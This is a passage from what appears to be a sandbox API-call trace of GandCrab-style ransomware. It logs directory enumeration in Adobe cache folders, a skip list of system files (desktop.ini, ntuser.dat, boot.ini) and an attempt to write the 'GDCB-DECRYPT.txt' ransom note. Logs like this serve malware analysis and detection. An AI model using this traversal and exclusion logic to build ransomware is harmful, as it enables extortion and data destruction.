Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.059] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e18 [0170.059] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.059] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.059] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.059] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.059] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.059] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.059] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.059] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.059] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 164 [0170.059] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.059] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.059] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.059] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.059] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 164 [0170.060] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.060] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.060] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.060] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.060] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 164 [0170.060] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.060] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.060] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.060] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.060] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 164 [0170.060] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.060] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.060] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.060] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.060] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 174 [0170.060] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.060] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.060] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.060] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.060] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.060] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 163 [0170.060] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.060] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.060] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.060] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 175 [0170.060] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.061] GetLastError () returned 0x50 [0170.061] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.062] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 158 [0170.062] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.062] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e18 [0170.062] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.062] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.062] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.062] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.062] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.062] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.062] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.062] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.062] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.062] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 164 [0170.062] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 164 [0170.062] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.062] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.062] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.062] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.062] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.062] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.063] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 164 [0170.063] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 164 [0170.063] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.063] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.063] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.063] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.063] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.063] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.063] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 164 [0170.063] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 164 [0170.063] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.063] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.063] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.063] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.063] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.063] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.063] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 164 [0170.063] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 164 [0170.063] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.063] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.064] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.064] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.064] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.064] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.064] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 174 [0170.064] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 174 [0170.064] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 174 [0170.064] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 174 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.064] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.064] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.064] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.064] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.064] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.064] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.064] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.064] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 163 [0170.064] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 163 [0170.064] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.064] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0 [0170.065] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.065] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.065] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.065] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.065] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.065] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.065] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 168 [0170.065] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 168 [0170.065] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 168 [0170.065] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 168 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.065] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.065] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.065] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.065] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.065] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.065] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.065] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.065] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 165 [0170.066] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 165 [0170.066] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.066] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.066] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.066] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.066] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.066] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.066] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.066] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and 